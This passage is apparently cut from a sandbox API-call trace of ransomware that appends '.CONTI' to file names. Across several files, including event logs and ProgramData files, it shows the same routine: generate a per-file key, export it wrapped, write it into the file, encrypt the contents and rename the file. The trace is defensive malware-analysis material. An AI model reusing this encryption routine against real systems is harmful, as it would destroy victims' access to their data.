	[0096.802] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.802] SetEndOfFile (hFile=0x390) returned 1
	[0096.803] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.803] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.803] WriteFile (in: hFile=0x390, lpBuffer=0x17d567c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x17d567c*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0096.804] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.804] ReadFile (in: hFile=0x390, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x11000, lpOverlapped=0x0) returned 1
	[0096.856] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x11000, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x11010) returned 1
	[0096.856] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.856] WriteFile (in: hFile=0x390, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x11010, lpOverlapped=0x0) returned 1
	[0096.856] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.856] WriteFile (in: hFile=0x390, lpBuffer=0x17d5670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x17d5670*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0096.857] SetFilePointer (in: hFile=0x390, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.857] CloseHandle (hObject=0x390) returned 1
	[0096.898] GetProcessHeap () returned 0x1720000
	[0096.898] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fb8c8
	[0096.898] lstrcpyW (in: lpString1=0x17fb8c8, lpString2="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx"
	[0096.899] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.CONTI"
	[0096.899] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.conti")) returned 1
	[0096.941] GetProcessHeap () returned 0x1720000
	[0096.941] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fb8c8 | out: hHeap=0x1720000) returned 1
	[0096.942] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0096.942] GetProcessHeap () returned 0x1720000
	[0096.942] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfce8 | out: hHeap=0x1720000) returned 1
	[0096.942] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0097.704] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17e9b48 | out: phKey=0x17e9b48*=0x17c7eb0) returned 1
	[0097.704] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17e9b4c, pdwDataLen=0x41ffb3c | out: pbData=0x17e9b4c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0097.705] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20
	[0097.705] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0097.706] GetLastError () returned 0x0
	[0097.706] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=69632) returned 1
	[0097.706] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0097.706] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.706] SetEndOfFile (hFile=0x35c) returned 1
	[0097.706] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.706] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.706] WriteFile (in: hFile=0x35c, lpBuffer=0x17e9b4c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x17e9b4c*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0097.707] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.707] ReadFile (in: hFile=0x35c, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x11000, lpOverlapped=0x0) returned 1
	[0097.811] CryptEncrypt (in: hKey=0x17c7eb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x11000, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x11010) returned 1
	[0097.815] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.827] WriteFile (in: hFile=0x35c, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x11010, lpOverlapped=0x0) returned 1
	[0097.832] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.832] WriteFile (in: hFile=0x35c, lpBuffer=0x17e9b40*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x17e9b40*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0097.835] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.835] CloseHandle (hObject=0x35c) returned 1
	[0097.838] GetProcessHeap () returned 0x1720000
	[0097.839] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6510048
	[0097.839] lstrcpyW (in: lpString1=0x6510048, lpString2="C:\\Logs\\Windows PowerShell.evtx" | out: lpString1="C:\\Logs\\Windows PowerShell.evtx") returned="C:\\Logs\\Windows PowerShell.evtx"
	[0097.839] lstrcatW (in: lpString1="C:\\Logs\\Windows PowerShell.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Windows PowerShell.evtx.CONTI") returned="C:\\Logs\\Windows PowerShell.evtx.CONTI"
	[0097.839] MoveFileW (lpExistingFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), lpNewFileName="C:\\Logs\\Windows PowerShell.evtx.CONTI" (normalized: "c:\\logs\\windows powershell.evtx.conti")) returned 1
	[0097.840] GetProcessHeap () returned 0x1720000
	[0097.840] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510048 | out: hHeap=0x1720000) returned 1
	[0097.841] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0097.841] GetProcessHeap () returned 0x1720000
	[0097.841] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17346c0 | out: hHeap=0x1720000) returned 1
	[0097.841] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0098.626] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17ea220 | out: phKey=0x17ea220*=0x17c81b0) returned 1
	[0098.626] CryptExportKey (in: hKey=0x17c81b0, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17ea224, pdwDataLen=0x41ffb3c | out: pbData=0x17ea224*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0098.626] GetFileAttributesW (lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)")) returned 0x11
	[0098.626] SetFileAttributesW (lpFileName="C:\\Program Files (x86)", dwFileAttributes=0x10) returned 1
	[0098.627] CreateFileW (lpFileName="C:\\Program Files (x86)" (normalized: "c:\\program files (x86)"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0098.627] GetLastError () returned 0x5
	[0098.627] CryptDestroyKey (hKey=0x17c81b0) returned 1
	[0098.627] GetProcessHeap () returned 0x1720000
	[0098.627] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1738ad0 | out: hHeap=0x1720000) returned 1
	[0098.627] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0099.469] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17d3440 | out: phKey=0x17d3440*=0x17c7970) returned 1
	[0099.469] CryptExportKey (in: hKey=0x17c7970, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3444, pdwDataLen=0x41ffb3c | out: pbData=0x17d3444*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0099.470] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat")) returned 0x20
	[0099.566] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0099.566] GetLastError () returned 0x0
	[0099.566] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=1083027) returned 1
	[0099.566] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x108693
	[0099.566] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.566] SetEndOfFile (hFile=0x3c8) returned 1
	[0102.074] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.075] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.075] WriteFile (in: hFile=0x3c8, lpBuffer=0x17d3444*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x17d3444*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0103.065] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.065] ReadFile (in: hFile=0x3c8, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x108693, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x108693, lpOverlapped=0x0) returned 1
	[0103.083] CryptEncrypt (in: hKey=0x17c7970, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x108693, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x1086a0) returned 1
	[0103.084] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.084] WriteFile (in: hFile=0x3c8, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x1086a0, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x1086a0, lpOverlapped=0x0) returned 1
	[0103.087] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.087] WriteFile (in: hFile=0x3c8, lpBuffer=0x17d3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x17d3438*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0103.087] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.087] CloseHandle (hObject=0x3c8) returned 1
	[0103.906] GetProcessHeap () returned 0x1720000
	[0103.912] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0103.951] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat"
	[0103.951] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat.CONTI"
	[0103.951] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\en-us.16\\stream.x86.en-us.man.dat.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\en-us.16\\stream.x86.en-us.man.dat.conti")) returned 1
	[0104.260] GetProcessHeap () returned 0x1720000
	[0104.260] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0104.261] CryptDestroyKey (hKey=0x17c7970) returned 1
	[0104.261] GetProcessHeap () returned 0x1720000
	[0104.261] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8808 | out: hHeap=0x1720000) returned 1
	[0104.261] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0104.975] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c85b0) returned 1
	[0104.975] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x41ffb3c | out: pbData=0x17d5434*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0104.978] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json")) returned 0x120
	[0104.980] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\telemetry.asm-windowssq.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.980] GetLastError () returned 0x5
	[0104.980] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0104.980] GetProcessHeap () returned 0x1720000
	[0104.980] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0104.980] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0105.436] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17d3688 | out: phKey=0x17d3688*=0x17c7eb0) returned 1
	[0105.436] CryptExportKey (in: hKey=0x17c7eb0, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d368c, pdwDataLen=0x41ffb3c | out: pbData=0x17d368c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0105.437] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml")) returned 0x20
	[0105.438] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.438] GetLastError () returned 0x5
	[0105.438] CryptDestroyKey (hKey=0x17c7eb0) returned 1
	[0105.438] GetProcessHeap () returned 0x1720000
	[0105.438] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d098 | out: hHeap=0x1720000) returned 1
	[0105.438] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0105.695] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c8570) returned 1
	[0105.695] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x41ffb3c | out: pbData=0x17d443c*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0105.696] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl")) returned 0x20
	[0105.696] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0105.696] GetLastError () returned 0x0
	[0105.696] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=14972) returned 1
	[0105.696] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3a7c
	[0105.696] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.696] SetEndOfFile (hFile=0x38c) returned 1
	[0105.697] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.697] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.697] WriteFile (in: hFile=0x38c, lpBuffer=0x17d443c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x17d443c*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
	[0105.699] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.699] ReadFile (in: hFile=0x38c, lpBuffer=0xb1d0000, nNumberOfBytesToRead=0x3a7c, lpNumberOfBytesRead=0x41ffb14, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesRead=0x41ffb14*=0x3a7c, lpOverlapped=0x0) returned 1
	[0105.699] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x3a7c, dwBufLen=0x500000 | out: pbData=0xb1d0000*, pdwDataLen=0x41ffb0c*=0x3a80) returned 1
	[0105.699] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0105.699] WriteFile (in: hFile=0x38c, lpBuffer=0xb1d0000*, nNumberOfBytesToWrite=0x3a80, lpNumberOfBytesWritten=0x41ffb28, lpOverlapped=0x0 | out: lpBuffer=0xb1d0000*, lpNumberOfBytesWritten=0x41ffb28*=0x3a80, lpOverlapped=0x0) returned 1
	[0105.700] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0105.700] WriteFile (in: hFile=0x38c, lpBuffer=0x17d4430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x41ffb40, lpOverlapped=0x0 | out: lpBuffer=0x17d4430*, lpNumberOfBytesWritten=0x41ffb40*=0x8, lpOverlapped=0x0) returned 1
	[0105.700] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0105.700] CloseHandle (hObject=0x38c) returned 1
	[0105.700] GetProcessHeap () returned 0x1720000
	[0105.700] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0105.700] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\Active.GRL") returned="C:\\ProgramData\\Microsoft\\MF\\Active.GRL"
	[0105.700] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\MF\\Active.GRL", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.CONTI") returned="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.CONTI"
	[0105.700] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl"), lpNewFileName="C:\\ProgramData\\Microsoft\\MF\\Active.GRL.CONTI" (normalized: "c:\\programdata\\microsoft\\mf\\active.grl.conti")) returned 1
	[0105.701] GetProcessHeap () returned 0x1720000
	[0105.701] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0105.701] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0105.701] GetProcessHeap () returned 0x1720000
	[0105.701] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bed08 | out: hHeap=0x1720000) returned 1
